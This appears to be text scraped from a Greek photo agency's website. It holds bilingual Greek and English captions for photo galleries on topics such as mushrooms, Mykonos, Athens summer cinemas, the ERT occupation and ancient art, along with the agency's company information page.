Διακρίσεις και βραβεία στην Ελλάδα και στο εξωτερικό: Πρώτο Κρατικό Βραβείο ποίησης "Η Σονάτα του σεληνόφωτος" (1956), Mέγα βραβείο ποίησης "Αλφρέ ντε Βινύ" (Γαλλία, 1975), "Βραβείο Ειρήνης του Λένιν" (ΕΣΣΔ, 1977), Διεθνές βραβείο "Μποντέλο" (1978).
Προτάθηκε, ανεπιτυχώς, εννέα φορές για το βραβείο Νόμπελ λογοτεχνίας.

Πέθανε στην Αθήνα την 11η Νοεμβρίου 1990. Ενταφιάσθηκε στη Μονεμβασιά τρεις μέρες αργότερα.

αρχειακή πηγή: http://ritsos.ekebi.gr/eisagogi.asp

photos: Yannis Drakoulidis

Mushrooms my little favorites..
hidden under leaves, wet from the autumn rain, small living organisms, they are not plants, they are fungi that more often look like umbrellas.
There is a great variety of mushrooms, and many species appear overnight, growing or expanding rapidly.
At 90% consisting of water, and the remaining 10 % of carbohydrates and proteins, which, in quality, are almost comparable to the animal.
They have strong, medicinal properties, and old wizards and witches used them routinely in their magic filters : spells, remedies, poisons.
In Greece we can find around two thousand species of mushrooms, most not eatable.
However, considered delicacies and some species of mushrooms are food just for immortals. +

φωτογραφίες: Γιάννης Δρακουλίδης

Μανιταράκι μου καλό..
κρυμμένο κάτω από ξερά φύλλα, υγρά από τη φθινοπωρινή βροχή, μικροί ζωντανοί οργανισμοί, όχι φυτά, είναι μύκητες με ομβρελοειδή μορφή.
Το όνομά τους έχει τη ρίζα του στο αρχαίο "αμανίτης".
Υπάρχει μεγάλη ποικιλία μανιταριών και, όπως φαίνεται, ξεφυτρώνουν εν μία νυκτί, ενώ αναπτύσσονται πολύ γρήγορα.
Κατά το 90% αποτελούνται από νερό, και το υπόλοιπο 10% από υδατάνθρακες και πρωτεΐνες, οι οποίες, σε ποιότητα, θεωρούνται σχεδόν εφάμιλλες με τις ζωικές.
Έχουν ισχυρές, φαρμακευτικές ιδιότητες, και από παλιά οι μάγοι και μάγισσες τα χρησιμοποιούσαν κατά κόρον στα μαγικά τους φίλτρα: ξόρκια, γιατροσόφια, δηλητήρια.
Στην Ελλάδα μπορούμε να βρούμε γύρω στα δύο χιλιάδες είδη μανιταριών, τα περισσότερα όχι φαγώσιμα.
Παρ'όλα αυτά, θεωρούνται απολαυστικό έδεσμα, και μερικά είδη του αποτελούν τροφή μόνο για αθανάτους.

photos: Yannis Drakoulidis

The summer palace of the former Greek royal family in the Tatoi area, near Athens, is part of modern Greece's dark history. Contemporary Greek history is buried under many intriguing assays and political aphorisms. Like these ruins that are buried under the endless expansionism of the natural element on human works. It is the unswerving fate of every story that is not heard to roll on the mud of oblivion. The collective consciousness is an omit shallow affair about hallowed symbols of the nation. Not hidden skeletons in the closet.
So, skeletons and closets, ruined palaces wrapped in silence of leafy ivy, doors ajar that creak,
untouched tombs of kings and of toddlers in the darkest sides of the forest, deserted gardens with marble stairs leading to shady paths, all make up the perfect scenery of a well made spooky movie, if we Greeks had more imagination to conjure up stories, rather than a sick desire to constantly be a part of History. +

φωτογραφίες: Γιάννης Δρακουλίδης

Τα καλοκαιρινά ανάκτορα της πρώην βασιλικής οικογένειας στο Τατόι είναι μέρος της ξεχασμένης εικονογραφίας της σκοτεινής ιστορίας της σύγχρονης Ελλάδας. Όπως η Ελληνική Ιστορία είναι θαμμένη κάτω από πλήθος βαθυστόχαστων αναλύσεων και πολιτικών αφορισμών, έτσι κι αυτά βρίσκονται θαμμένα κάτω από την αέναη επεκτατικότητα του φυσικού στοιχείου πάνω στα ανθρώπινα έργα. Είναι η απαρέγκλιτη μοίρα κάθε ιστορίας που δεν ακούγεται, να κυλιέται στις λάσπες της λήθης, μια και η συλλογική συνείδηση είναι μια πολύ ρηχή υπόθεση που αφορά μόνο τα σύμβολα του καθαγιασμού του έθνους και όχι κρυμμένους σκελετούς σε ντουλάπες, σύμφωνα με τον αγγλοσαξωνικό ιδιωματισμό.
Σκελετοί και ντουλάπες λοιπόν, και ρημαγμένα παλάτια τυλιγμένα στη σιωπή πυκνόφυλλων κισσών, μισόκλειστες πόρτες που τρίζουν, τάφοι βασιλιάδων και μικρών παιδιών ανέγγιχτοι σε σκοτεινές μεριές του δάσους, έρημοι κήποι με μαρμαρένιες σκάλες που οδηγούν σε ανεξιχνίαστα μονοπάτια, όλα αποτελούν το τέλειο σκηνικό ενός καλογυρισμένου θρίλερ εποχής, αν εμείς οι Έλληνες είχαμε περισσότερη φαντασία στο να πλάθουμε ιστορίες, παρά μια άρρωστη επιθυμία να αποτελούμε συνεχώς κομμάτι της Ιστορίας.

Two trips: one in California in March 2001 and one in New York in October of the same year, immediately after the terrorist attack on the Twin Towers. Pictorial tribute to the great American photographers (Walker Evans and company) who with their work inspired a whole generation of photographers worldwide, and the very idea of the "American dream" that continues to fuel the planet with the dream of freedom, choice, self-determination, success. Two trips in a country that at the dawn of the millennium was at the peak of production of ideas and innovation. California, March 2001: The dotcom bubble has just burst, the attack on New York approaches, the suspicion of a bleak future transformes day by day into fear. Doctor Hannibal winks from the billboards of block busters on unsuspected Americans, just before September 11. New York, October 2001, the cameras are turning to Muslim communities of Brooklyn, The Phantom of the burka is here. Welcome to the future.
USA the country we love to hate.

photos: Gerasimos Domenikos

+

Δύο ταξίδια: Ενα στην Καλιφόρνια τον Μάρτιο του 2001 και ένα στη Νέα Υόρκη τον Οκτώβριο του 2001, αμέσως μετά την τρομοκρατική επίθεση στους δίδυμους πύργους. Εικόνες φόρος τιμής στους μεγάλους Αμερικανούς φωτογράφους (Walker Evans and company) που με τη δουλειά τους ενέπνευσαν μια ολόκληρη γενιά φωτογράφων παγκοσμίως, αλλα και στην ίδια την ιδέα του "Αμερικάνικου ονείρου", που συνεχίζει να τροφοδοτεί τον πλανήτη με τη χίμαιρα της ελευθερίας, της επιλογής, της αυτοδιάθεσης, της επιτυχίας. Δύο ταξίδια, σε μια χώρα που στην αυγή της χιλιετίας βρισκόταν στο ζενίθ της παραγωγής ιδεών και καινοτομίας. Καλιφόρνια, Μάρτιος 2001: Η φούσκα του dotcom μόλις έχει σκάσει, η επίθεση στη Νέα Υόρκη πλησιάζει, η υποψία ενός ζοφερού μέλλοντος μετατρέπεται μέρα με τη μέρα σε φόβο.Ο δόκτορ Χάνιμπαλ κλείνει το μάτι απο τις γιγαντοαφίσες των μπλοκ μπάστερ στους ανυποψίαστους Αμερικανούς, λίγο πριν την 11η Σεπτέμβρη. Νέα Υόρκη, Οκτώβριος 2001, οι κάμερες στρέφονται στις μουσουλμανικές κοινότητες του Μπρούκλιν, το φάντασμα της μπούρκας είναι εδώ. Καλώς ήρθατε στο μέλλον. ΗΠΑ η χώρα που αγαπάμε να μισούμε.

φωτο: Γεράσιμος Δομένικος

photos: Menelaos Myrillas, Angeliki Panagiotou, Panayiotis Tzamaros

The World Congresses of Philosophy are organized every five years by the International Federation of Philosophical Societies (FISP) in collaboration with one of the companies that are members. The 23rd World Congress of Philosophy held in Greece and specifically in Athens from 4 to 10 August 2013. The main theme of the Conference was ‘Philosophy as Inquiry and Way of Life’, wich recalls the declaration of Socrates that the unexamined life is not worth living (in greek: o  a-ne-x`e-ta-stos  v`i-os  ou  vi-o-t`os  an-thr`o-po).
Objectives of the conference is to explore the philosophical traditions of different regions of the world and the comparison between them, critically examining the task of philosophy in the modern world and deepening the debate on the role and responsibilities of philosophy in the conflicts and inequalities connected with the new reality of the development of a global civilization that is both diverse and techno-scientific.The conduct of the conference in Athens provided an opportunity for thinkers and philosophers from around the world to think, to speech, to wonder on contemporary issues of humanity wandering in the same locations where ancient Greek philosophers like Socrates, Plato or Aristotle raised, for the first time, questions about human existence and the relationship of human being with himself and with the unknown world that surrounds him. +

φωτογραφίες: Μενέλαος Μυρίλλας, Αγγελική Παναγιώτου, Παναγιώτης Τζάμαρος

Τα  Παγκόσμια Συνέδρια Φιλοσοφίας οργανώνονται κάθε πέντε χρόνια  από τη Διεθνή Ομοσπονδία Φιλοσοφικών Εταιρειών (FISP) σε συνεργασία με μία από τις εταιρείες που είναι μέλη της. Το 23ο Παγκόσμιο Συνέδριο Φιλοσοφίας διεξήχθη στην Ελλάδα και συγκεκριμένα στην Αθήνα  από την 4 έως την 10 Αυγούστου 2013. Το κύριο θέμα του Συνεδρίου ήταν «Η φιλοσοφία ως έρευνα και τρόπος ζωής», το οποίο ανακαλεί στη μνήμη τη διακήρυξη του Σωκράτη "ο ανεξέταστος βίος ου βιωτός ανθρώπω". 
Στόχοι του συνεδρίου είναι η διερεύνηση των φιλοσοφικών παραδόσεων των διαφόρων περιοχών του κόσμου και η μεταξύ τους σύγκριση, η κριτική εξέταση της αποστολής της φιλοσοφίας στον σύγχρονο κόσμο, η εμβάθυνση της συζήτησης  για το ρόλο και τις ευθύνες της φιλοσοφίας στις συγκρούσεις και τις ανισότητες που δημιουργεί η νέα πραγματικότητα της ανάπτυξης ενός παγκόσμιου πολιτισμού που είναι ταυτόχρονα πολύμορφος και τεχνοεπιστημονικός. Η διενέργεια του συνεδρίου στην Αθήνα έδωσε την ευκαιρία σε διανοητές και φιλοσόφους από όλο τον κόσμο να συσκεφθούν, να αγορεύσουν, να διαλογισθούν πάνω σε σύγχρονα θέματα της ανθρωπότητας περιπλανώμενοι στις ίδιες τοποθεσίες όπου οι αρχαίοι Έλληνες φιλόσοφοι, όπως ο Σωκράτης, ο Πλάτωνας, ο Αριστοτέλης έθεσαν τα πρώτα μεγάλα ερωτήματα για την ύπαρξη του ανθρώπου, την σχέση του με τον εαυτό του και με τον κόσμο που τον περιβάλλει.

photos: Gerasimos Domenikos

"And you will go to Mykonos  With a vision of a gentle coast  And a sun to maybe dissipate  Shadows of the mess you made", sang some nice guys from Seattle, USA about this tiny princedom in the Aegean Sea. The Fleet Foxes write verses confirming their illusions, perhaps without having spent a single second in the "gentle coast" of Super Paradise, a famous for the rich and famous beach in Mykonos Island. Without yelling the notorious "Mykonooooooooos." Mykonos causes major contradictions. The most beautiful island of the Mediterranean Sea or a "hot" tourist destination? Is this what thankfully we are not, or is this what we wanted innermost to be? Allegations of some supposed celebrities or a worldwide promotion of the country icon? The picturesque cycladic island of Peter the pelican or a kind of tribal gathering of thunderous djs in Cavo Paradiso, a mega mykonian dance club? Contrasts of the island bring us face to face with a reality that is false and true together. Be involved with high society, have amazing fun without limits, a nonstop glamorous party where we would like to participate as long as we keep it secret between us. But in Mykonos nothing stays secret for long. Because what happens in Mykonos, spreads out beyond Mykonos. The drunk, the oily strong muscles, the traditional windmills, the luxurious brands, the Italians bon viveurs whistling on the scooters, the over bronzed bodies, the expensive jewelery, the super yachts, an Arab prince, some Russians tycoons, super stars, international football players, top models, greek pop idols, Greek TV celebrities, intellectuals not ashamed for their lavish way of life, clothes designers and their seamstresses, the retro, the beautiful, the extravagant, the disgusting, those who want from the others to watch them, those who think they are being watched, those who are watching them. Mykonos causes an attraction as location while "forcing" the regulars to imitate the attitude of the person next to them. And all this in a huge crowding, on a tiny rock, in the middle of the sea. +

φωτογραφίες: Γεράσιμος Δομένικος

“And you will go to Mykonos  With a vision of a gentle coast   And a sun to maybe dissipate  Shadows of the mess you made”, τραγούδησαν κάτι παλικάρια από το Σιάτλ για το πριγκιπάτο του Αιγαίου. Οι Fleet Foxes γράφουν στίχους επιβεβαιώνοντας τις ψευδαισθήσεις τους χωρίς να έχουν περάσει ίσως ούτε ένα δευτερόλεπτο στην "ευγενική ακτή" του Super Paradise.  Χωρίς να έχουν βροντοφωνάξει το περίφημο "Μύκονοοοοοοοοος". Η Μύκονος προκαλεί μεγάλες αντιφάσεις. Το ομορφότερο νησί της Μεσογείου ή ένας lifestyle τουριστικός προορισμός;  Αυτό που ευτυχώς δεν είμαστε ή αυτό που θα θέλαμε να είμαστε; Η δηθενιά των σελέμπριτιζ ή μια διαφήμιση για τη χώρα; Το νησί του Πέτρου του πελεκάνου ή των εκκωφαντικών djs του Cavo Paradiso; Οι εικόνες της μας φέρνουν αντιμέτωπους με μια πραγματικότητα που είναι πλαστή και αληθινή μαζί. Είναι το χαϊλίκι, το ξεσάλωμα στο οποίο θα θέλαμε να συμμετέχουμε, αρκεί να μείνει μεταξύ μας. Αλλά δεν θα μείνει. Γιατί ό,τι γίνεται στη Μύκονο, δεν μένει στη Μύκονο. Οι μεθυσμένοι, τα μπράτσα, οι ανεμόμυλοι, οι ακριβές μάρκες, οι Ιταλοί που σφυρίζουν πάνω στα σκουτεράκια, τα υπερβολικά μαυρισμένα σώματα, τα ακριβά κοσμήματα, τα σκάφη, ένας άραβας πρίγκηπας, κάποιοι Ρώσσοι ολιγάρχες, οι ποδοσφαιριστές, τα μοντέλα, τα είδωλα της πίστας, η ελληνική τηλεόραση, οι διανοούμενοι που δεν ντράπηκαν το χλιδάτο lifestyle, οι μόδιστροι και οι μοδίστρες, οι γραφικοί, οι όμορφοι, οι σιχαμεροί, αυτοί που θέλουν να τους κοιτάνε, αυτοί που νομίζουν ότι τους κοιτάνε, αυτοί που τους κοιτάνε. Η Μύκονος προκαλεί μια έλξη σαν τοποθεσία και παράλληλα “αναγκάζει” τους θαμώνες της να κάνουν το ίδιο με τους διπλανούς τους. Και όλα αυτά σε έναν τεράστιο συνωστισμό, σε ένα μικροσκοπικό βράχο, στη μέση της θάλασσας.

photos:Andreas Simopoulos

At first it was abandoned land fields in uncreated city, later vacant land lots, paths of fresh air and light between multi-storey apartment blocks in urban neighborhoods, and sometimes they were located in roof terraces of movie theaters. In these spaces the mostly Greek phenomenon of summer cinema was blossomed. A way out for inexpensive entertainment for the people, during the hot months of Greek summer, when one may choose only between the fan of his house or the coolness of a secret garden in the city.
Loners or noisy groups, couples in love or friends from work, schoolchildren on vacation, public servants with their wives, students broke, but also their professors, they all enjoyed seeing on the big screen, femmes fatales and fearless men lost in adventurous pursuits of meaning of life and of happiness of true love. Drama or laughter, Hollywood or Nouvelle Vague, culture or action, mixed with popcorn, beer, whispers and cigarettes. Few summer cinemas left in the greater Athens area, because of spread of multiplexes movie theaters and of gradual change of lifestyle of modern Greeks. Among these few, Palace and Oasis in Paggrati neighborhood, Athenea in Kolonaki neighborhood, Cine Paris in Plaka traditional neighborhood, and of course globally famous now Thesseion in Agiou Pavlou pedestrian street, under Acropolis hill, the best cinema in the world, according to the Amernican tv network CNN.
Eventually, either see your movie overlooking Parthenon in Plaka or in Thesseio, either by the sea, as in summer cinema Aello in the port of Rafina, or in an empty piece of land beneath eucalyptus trees, as in open air Cine Club of the city of Eleusina, what characterizes summer cinema is the fleeting sense that, even though you will never shine as a movie star, you are free to get lost for awhile among the stars of the summer sky flickering over your head. +

φωτογραφίες: Ανδρέας Σιμόπουλος

Στην αρχή ήταν εγκαταλειμμένες αλάνες στην αδόμητη πόλη, ύστερα άδεια οικόπεδα, αγωγοί αέρα και φωτός ανάμεσα σε πολυόροφες πολυκατοικίες στις αστικές γειτονιές, καμιά φορά ανοιχτές ταράτσες χειμερινών κινηματογράφων. Κάπως έτσι χωροθετήθηκε αυτό το κατά βάση ελληνικό φαινόμενο των θερινών σινεμά. Διέξοδος φθηνής λαϊκής ψυχαγωγίας, κατά τους ζεστούς μήνες του ελληνικού καλοκαιριού, όταν μπορούσες να επιλέξεις μόνο ανάμεσα στον ανεμιστήρα του σπιτιού σου ή στην δροσιά ενός μυστικού κήπου της πόλης.
Μοναχικοί τύποι ή παρέες φασαριόζικες, ερωτευμένα ζευγαράκια ή φιλενάδες από την δουλειά, μαθητές σε διακοπές από το σχολείο, υπάλληλοι του δημοσίου με τις συζύγους τους, απένταροι φοιτητές, αλλά και οι καθηγητές τους, όλοι αυτοί απολάμβαναν να βλέπουν στο άσπρο πανί μοιραίες γυναίκες και παράτολμους άντρες χαμένους σε περιπετειώδεις αναζητήσεις μεταξύ του νοήματος της ζωής και της ευτυχίας της αληθινής αγάπης. Δράμα ή γέλιο, Χόλυγουντ ή νουβέλ βαγκ, κουλτούρα ή σασπένς, ανακατεμένα με ποπ κορν, μπύρα, ψιθύρους και τσιγάρο.
Λίγοι θερινοί έχουν απομείνει στην ευρύτερη περιοχή των Αθηνών, λόγω επέλασης των μούλτιπλεξ και λόγω της σταδιακής αλλαγής του τρόπου ζωής των Νεοελλήνων. Ανάμεσα σε αυτούς, το Παλάς και η Όασις στο Παγκράτι, η Αθηναία στο Κολωνάκι, το Σινέ Παρί στην Πλάκα, και φυσικά το διάσημο πια Θησείον στον πεζόδρομο του Αποστόλου Παύλου, το καλύτερο σινεμά του κόσμου, σύμφωνα με το αμερικάνικο δίκτυο CNN. Τελικά όμως είτε βλέπεις την ταινία σου με θέα την Ακρόπολη στην Πλάκα ή στο Θησείο, είτε δίπλα στη θάλασσα, όπως στο θερινό Αέλλω της Ραφήνας, ή σε μια άδεια αλάνα κάτω από τους ευκάλυπτους, όπως στην θερινή Κινηματογραφική Λέσχη της Ελευσίνας, αυτό που χαρακτηρίζει την απόλαυση στο θερινό σινεμά είναι η φευγαλέα αίσθηση ότι, έστω κι αν δεν πρόκειται να γευτείς ποτέ την λάμψη ενός σταρ, είσαι ελεύθερος να χαθείς για λίγο ανάμεσα στα αστέρια του καλοκαιρινού ουρανού που τρεμοπαίζουν πάνω από το κεφάλι σου.

THE COMPANY	FOSPHOTOS is a Greek photo agency offering a comprehensive proposal for the collection, production and distribution of contemporary Greek photography. In collaboration with reputable and talented photographers, we investigate, classify and archive photographs of the last decades, depicting all different faces and facets of modern life. Through constantly increasing collections and daily photo reportage, we aim to fullfil the need for quality photography for editorial, creative, commercial and private use. The wide range of our activity -production, collection, archiving and distribution of images in cultural, journalistic and publishing houses, creative agencies and news websites- is guaranteed by the FOSPHOTOS team, which consists of people with long experience in the fields of mass media, visual communication, applied arts and artistic creation.
	FOSPHOTOS offers for sale images for private, editorial, advertising and corporate use, as well as subscription licenses for use of the daily photo reportage.
CRREATIVE USE	Images in low or high resolution for creative use, upon request. High resolution images for advertising and commercial use upon request, provided they have the appropriate licenses.
EDITORIAL USE	The REPORTAGE section offers daily photographic coverage and immediate uploading of the news events in Greece. The content is available exclusively for journalistic use for magazines, newspapers, news websites and blogs with monthly and annual subscriptions. Depending on arrangement, subscribers are either issued special accounts for unlimited hi-res image downloading, or enjoy immediate feed to their servers.
STORIES	Complete photographic features for journalistic or editorial use upon request.
ASSIGNMENTS	Most of our photographers are available for photographic assignments for journalistic, advertising or corporate use.
CORPORATE INFO	FOTAGOGOS Ltd. Image and video production and management 59Β Kolokotroni St., 105 60 Athens, Greece Tel 0030 210 3210 369 VAT Number GR 800424148 DOY ST ATHENS Founding Partners: Yiannis Karlopoulos, Gerasimos Domenikos, Mari Zonoudaki, Manolis Verigakis Administrators: Mari Zonoudaki, Manolis Verigakis
COPYRIGHT	FOSPHOTOS and the photographers own the copyright to the content of this website. For more information about the Terms of Use and Privacy Policy please read here.

+

Η ΕΤΑΙΡΕΙΑ	Η FOSPHOTOS είναι ένα ελληνικό φωτογραφικό πρακτορείο που δραστηριοποιείται στη συλλογή, την παραγωγή και τη διαχείριση σύγχρονης ελληνικής φωτογραφίας. Σε συνεργασία με καταξιωμένους αλλά και ανερχόμενους φωτογράφους, η FOSPHOTOS διερευνά, ταξινομεί και αρχειοθετεί φωτογραφικό υλικό των τελευταίων δεκαετιών μέσα από το οποίο απεικονίζονται όλα τα διαφορετικά πρόσωπα και οι εκφάνσεις της σύγχρονης ζωής. Μέσα από τις διαρκώς αυξανόμενες συλλογές της και το καθημερινό ρεπορτάζ, επιχειρεί να καλύψει την ανάγκη για καλή φωτογραφία, για δημοσιογραφική, δημιουργική, εμπορική αλλά και ιδιωτική χρήση. Το ευρύ φάσμα των δραστηριοτήτων της (παραγωγή, συλλογή, αρχειοθέτηση και διανομή εικόνων σε πολιτιστικούς, δημοσιογραφικούς και εκδοτικούς οργανισμούς, δημιουργικά γραφεία και ιδιώτες) είναι εγγυημένο από την ομάδα της FOSPHOTOS, η οποία απαρτίζεται από ανθρώπους με πολυετή πείρα στον χώρο της ενημέρωσης, των εφαρμοσμένων τεχνών και της καλλιτεχνικής δημιουργίας.
	Η FOSPHOTOS προσφέρει την δυνατότητα αγοράς μεμονωμένων εικόνων για ιδιωτική, δημοσιογραφική, διαφημιστική ή εταιρική χρήση, αλλά και συνδρομές για άδεια δημοσιογραφικής χρήσης του ρεπορτάζ.
ΦΩΤΟΘΗΚΗ	Διάθεση προς πώληση μεμονωμένων εικόνων, σε χαμηλή ή υψηλή ανάλυση, για ιδιωτική χρήση, προς το παρόν κατόπιν συνεννόησης και σύντομα online.  Διάθεση μεμονωμένων εικόνων σε υψηλή ανάλυση για διαφημιστική ή εμπορική χρήση, κατόπιν συνεννόησης και με την προϋπόθεση ότι φέρουν τις ανάλογες άδειες χρήσης.
ΚΑΘΗΜΕΡΙΝΟ ΡΕΠΟΡΤΑΖ	Καθημερινή φωτογραφική κάλυψη και ανάρτηση των σημαντικότερων γεγονότων της ελληνικής επικαιρότητας και άμεση διάθεση αποκλειστικά για δημοσιογραφική χρήση. Μηνιαίες και ετήσιες συνδρομές δημοσιογραφικής χρήσης για έντυπα, εφημερίδες, ειδησεογραφικά websites και blogs, κατόπιν συνεννόησης.
ΘΕΜΑΤΑ	Ολοκληρωμένα φωτογραφικά θέματα για δημοσιογραφική ή εκδοτική χρήση, κατόπιν συνεννόησης.
ΑΝΑΘΕΣΕΙΣ	Οι φωτογράφοι της FOSPHOTOS είναι διαθέσιμοι για αναθέσεις φωτογραφικών παραγωγών για δημοσιογραφική, διαφημιστική ή εταιρική χρήση.
ΙΔΙΟΚΤΗΣΙΑ	ΦΩΤΑΓΩΓΟΣ ΕΠΕ ΠΑΡΑΓΩΓΗ ΚΑΙ ΔΙΑΧΕΙΡΙΣΗ ΦΩΤΟΓΡΑΦΙΑΣ ΚΑΙ ΒΙΝΤΕΟ Κολοκοτρώνη 59Β, 105 60 Αθήνα Τηλ. 210 3210 369 ΑΦΜ 800424148 - ΔΟΥ ΣΤ' ΑΘΗΝΩΝ Εταίροι: Γιάννης Καρλόπουλος, Γεράσιμος Δομένικος, Μάρη Ζωνουδάκη, Μανόλης Βεριγάκης Διαχείριση: Μάρη Ζωνουδάκη, Μανόλης Βεριγάκης ΙΣΟΛΟΓΙΣΜΟΣ 2013 - DOWNLOAD PDF ΙΣΟΛΟΓΙΣΜΟΣ 2014 - DOWNLOAD PDF ΙΣΟΛΟΓΙΣΜΟΣ 2015 - DOWNLOAD PDF
ΠΝΕΥΜΑΤΙΚΑ ΔΙΚΑΙΩΜΑΤΑ	Η FOSPHOTOS και οι φωτογράφοι της είναι κύριοι των πνευματικών δικαιωμάτων του περιεχομένου αυτού του δικτυακού τόπου. Για περισσότερες πληροφορίες για τα δικαιώματα, τους Όρους Χρήσης και την πολιτική προστασίας προσωπικών δεδομένων παρακαλούμε διαβάστε εδώ.

photos: Nikos Katsaros

European meeting of owners of the legendary brand Harley Davidson, with the participation of six thousand motorcycles, in May 2010 in the city of Patras, western Greece. +

φωτογραφίες: Νίκος Κατσαρός

Πανευρωπαϊκή συνάντηση ιδιοκτητών της θρυλικής μάρκας Harley Davidson με συμμετοχή έξι χιλιάδων μοτοσυκλετών τον Μάιο του 2010 στην Πάτρα. 

photo: fosphotos reportage team

Images from the occupation of the public broadcaster (ERT) building, after Greek Government's sudden announcement  on 11 June 2013 to shut it down and to open a slimmed down version of the state broadcaster by the end of the summer. Employees but also people opposing government decision gathered at the broadcaster headquarters to protest. +

φωτο: fosphotos reportage team

Οι κινητοποιήσεις των εργαζομένων της ΕΡΤ, αλλα και απλού κόσμου που διαφώνησε με την απόφαση της Ελληνικής Κυβέρνησης, στις 11 Ιουνίου 2013, να κλείσει τον υπάρχων τηλεοπτικό φορέα απολύοντας το προσωπικό του, και να δημιουργήσει, μέχρι το τέλος του καλοκαιριού, μια νέα δημόσια τηλεόραση με ολιγάριθμο ανθρώπινο δυναμικό και εξορθολογισμό των οικονομικών.

A selection of previous Gay Pride in Athens and, for the first time last year, in Thesssaloniki.+

Επιλογή φωτογραφιών από προηγούμενα Gay Pride στην Αθήνα και, για πρώτη φορά πέρυσι, στη Θεσσαλονίκη.

photos: Anastasia Voutyropoulou

There is an intimate feeling when one thinks of the island of Corfu, Greece. As, somehow, he has already traveled there, like he already dreamed of.
Reigning in the Ionian Sea, Corfu is cosmopolitan and capricciosa, surrounded by the nostalgic mist of past glories,
immersed in lush scents getting out of hidden gardens and orchards.
The island's glare fades in recent years, under the pressure of uncontrolled exploitation of its image used as trademark and also due to the oblivion in which is condemned by the domination of the Cycladic landscape in the collective memory.
The photos here act like postcards, and, with names like: Mon Repos, Achilleion, Fortezza, Liston, Royal, Pontikonisi, they tell a story like of the sender, maybe a lyric poet, a romantic soul that was found at the evergreen Ionian island in a wandering through the forgotten paths of the European heritage of the Mediterranean. +

φωτογραφίες: Αναστασία Βουτυροπούλου

Υπάρχει μιά αίσθηση οικεία όταν κάποιος σκέφτεται την Κέρκυρα. Σαν να έχει ταξιδέψει ήδη εκεί, σαν να την έχει ήδη ονειρευτεί.
Βασιλεύει στο Ιόνιο, κοσμοπολίτισσα και καπριτσιόζα, περιτριγυρισμένη από τη νοσταλγική άχλη περασμένων μεγαλείων, βυθισμένη σε οργιώδεις μυρωδιές που ξεχύνονται από μυστικούς κήπους και περιβόλια.
Η αίγλη της τα τελευταία χρόνια φυλλορροεί κάτω από το βάρος της ανεξέλεγκτης εκμετάλλευσης της εικόνας της και της λήθης στην οποία την καταδίκασε η μονοκρατορία του κυκλαδίτικου τοπίου στο συλλογικό μνημονικό.
Οι φωτογραφίες εδώ λειτουργούν σαν καρτ ποστάλ, και με ονόματα όπως: Μον Ρεπό, Αχίλλειον, Φορτέτσα, Λιστόν, Ρουαγιάλ, Ποντικονήσι, διηγούνται μια ιστορία με αποστολέα ίσως έναν λυρικό ποιητή, μια ρομαντική ψυχή που βρέθηκε στο πευκόφυτο νησί του Ιονίου σε μια περιπλάνηση στα ξεχασμένα μονοπάτια της ευρωπαϊκής κληρονομιάς της Μεσογείου.

photos: Myrto Apostolidou

The Greek society in free falling. Falling stock. Falling markets. Falling living standards. Fall from a building.
Wages fall. Rates fall. Fall production. Fall of civilization. Falling values. Falling rates. Dimitris Christoulas.
The photographs of Myrto Apostolidou act as monuments - collective memos that the desolation is contagious in a society falling apart. +

φωτογραφίες: Μυρτώ Αποστολίδου

Η Ελληνική κοινωνία σε ελεύθερη πτώση. Πτώση του χρηματιστηρίου. Πτώση των αγορών. Πτώση του βιοτικού επιπέδου. Πτώση από κτήριο. Πτώση μισθών. Πτώση των αξιών. Πτώση του πολιτισμού. Πτώση της παραγωγής. Πτώση μεγεθών. Δημήτρης Χριστούλας. Οι φωτογραφίες της Μυρτώς Αποστολίδου λειτουργούν σαν μνημεία - συλλογικά υπομνήματα ότι Η ερημιά είναι μεταδοτική σε μια κοινωνία σε πτώση.

photos: Christos Potsios

The fascination of the technique of Polaroids is based on the inescapable, on the continuous mutation of time from present to past. From the subject to the object, from the accuracy of the moment to the sweet nostalgia of once. The Polaroids are small sketches on a napkin. The Polaroids are cages of dreams.
In the Polaroids of photographer Christos Potsios taken in Japan, contours blur, dimensions get confused, colors are distorted. The geisha woman easily mutates into orchid, firefighters are placed in the yard of a giant dollhouse. The gardens secretly disappear, neon lights look like colorful ribbons floating in the night sky. +

φωτογραφίες: Χρήστος Πότσιος

Η γοητεία της τεχνικής των Polaroids βασίζεται στο αναπόδραστο, στην αδιάκοπη μετάλλαξη του χρόνου από παρόν σε παρελθόν. Από το υποκείμενο στο αντικείμενο, από την ακρίβεια της στιγμής στη γλυκιά νοσταλγία του κάποτε. Οι Polaroids είναι μικρά γραφήματα σε μια χαρτοπετσέτα. Οι Polaroids είναι κλουβιά ονείρων.
Στις Polaroids του φωτογράφου Χρήστου Πότσιου από την Ιαπωνία τα χρώματα αλλοιώνονται, τα περιγράμματα θολώνουν, οι διαστάσεις προκαλούν σύγχιση. Η γκέισα εύκολα μεταλάσσεται σε ορχιδέα, οι πυροσβέστες τοποθετούνται στον περίβολο ενός γιγάντιου κουκλόσπιτου. Οι κήποι μυστικά εξαφανίζονται, τα φώτα νέον μοιάζουν με πολύχρωμες κορδέλες που αιωρούνται στο νυχτερινό ουρανό.

photos: Gerasimos Domenikos, Maro Kouri, Christos Potsios

Oneiric journey to the high spirituality and beauty of ancient Greek art, aesthetic pleasure of the perfection in harmony and symmetry. Treasures from ancient Greece, of priceless historical value for the world culture, in the two major museums of city of Athens, and of the greatest in the world,  National Archaeological Museum and the Acropolis Museum, but also sculpture from the Museum of the Ancient Olympia and the Archaeological Museum of Samothrace. +

φωτογραφίες: Γεράσιμος Δομένικος, Μάρω Κουρή, Χρήστος Πότσιος

Ονειρικό ταξίδι στην υψηλή πνευματικότητα και ομορφιά της αρχαίας ελληνικής τέχνης, αισθητική απόλαυση της τελειότητας στην αρμονία και το μέτρο. Θησαυροί από την αρχαία Ελλάδα ανεκτίμητης ιστορικής αξίας για τον παγκόσμιο πολιτισμό στα μεγάλα μουσεία της Αθήνας, και από τα σπουδαιότερα στον κόσμο, Εθνικό Αρχαιολογικό Αθηνών και Μουσείο Ακρόπολης, αλλά και γλυπτική από το Μουσείο της Αρχαίας Ολυμπίας και το αρχαιολογικό Μουσείο της Σαμοθράκης.

photos: Spyros Staveris

